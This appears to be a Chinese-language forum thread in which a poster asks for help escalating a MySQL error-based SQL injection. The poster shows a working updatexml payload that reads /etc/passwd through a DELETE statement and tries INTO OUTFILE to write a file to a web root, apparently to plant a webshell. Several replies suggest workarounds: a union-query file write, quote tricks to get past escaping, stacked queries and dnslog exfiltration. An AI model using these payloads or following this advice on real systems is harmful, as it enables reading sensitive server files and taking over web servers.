求助MySQL delete语句 updatexml报错注入问题? 求助大佬!
事情是这样的:
被带入的数据库SQL:
DELETE FROM [Table]polloptions WHERE polloptionid='146640' and updatexml(1,concat(0x7e,substr((select LOAD_FILE('/etc/passwd')),1,31),0x7e),1)-- +' AND tid='18'
这个使用updatexml函数 报错注入在知道绝对路径情况下读取任意文件是没问题,顶多就是每次回显32个字符,利用Burp Suite 爆破多次(每次substr()函数起始位置+31)就能读取完整的文件。
我的需求:想利用updatexml函数进行写文件,我在本地MySQL数据库环境也测试了,给我报错说什么语法错误。
报错信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near.............
我的本地数据库测试SQL语句:update student set name = 'admin' and updatexml(1,concat(0x7e,(select '123' into OUTFILE "/var/www/html/test.php"),0x7e),1)-- +' where ID = 1
或者updatexml函数 到底能不能 利用SQL 语句写文件?求助大佬!
评论12次
子查询无法into OUTFILEhttps://dev.mysql.com/doc/refman/8.0/en/select-into.html
你这语法是错的 不能这样写 updatexml(1,concat(0x7e,(select '123' into OUTFILE "/var/www/html/test.php"),0x7e),1) 试试用lines starting by
没法写文件吧,只能读数据
你这语法是错的 不能这样写 updatexml(1,concat(0x7e,(select '123' into OUTFILE "/var/www/html/test.php"),0x7e),1) 试试用lines starting by
求个正确的写法
你这语法是错的 不能这样写 updatexml(1,concat(0x7e,(select '123' into OUTFILE "/var/www/html/test.php"),0x7e),1) 试试用lines starting by
既然存在注入的话就不一定非要使用updatexml写了,试试联合查询写入
也有个联合查询的注入点,但是写文件提交的路径中有单引号,带进去被转移成\' 导致SQL语句出错。不知道咋绕过
试一试双引号 """"""""
既然存在注入的话就不一定非要使用updatexml写了,试试联合查询写入
也有个联合查询的注入点,但是写文件提交的路径中有单引号,带进去被转移成\' 导致SQL语句出错。不知道咋绕过
试一试双引号 """""""" 还有括号也可???
既然存在注入的话就不一定非要使用updatexml写了,试试联合查询写入
也有个联合查询的注入点,但是写文件提交的路径中有单引号,带进去被转移成\' 导致SQL语句出错。不知道咋绕过
子查询无法into OUTFILE 用; 看看行不行 没别的办法
既然存在注入的话就不一定非要使用updatexml写了,试试联合查询写入
有无写入权限呢?
用dnslog试试?
子查询无法into OUTFILEhttps://dev.mysql.com/doc/refman/8.0/en/select-into.html
请教大佬那我该如何改写?
子查询无法into OUTFILE https://dev.mysql.com/doc/refman/8.0/en/select-into.html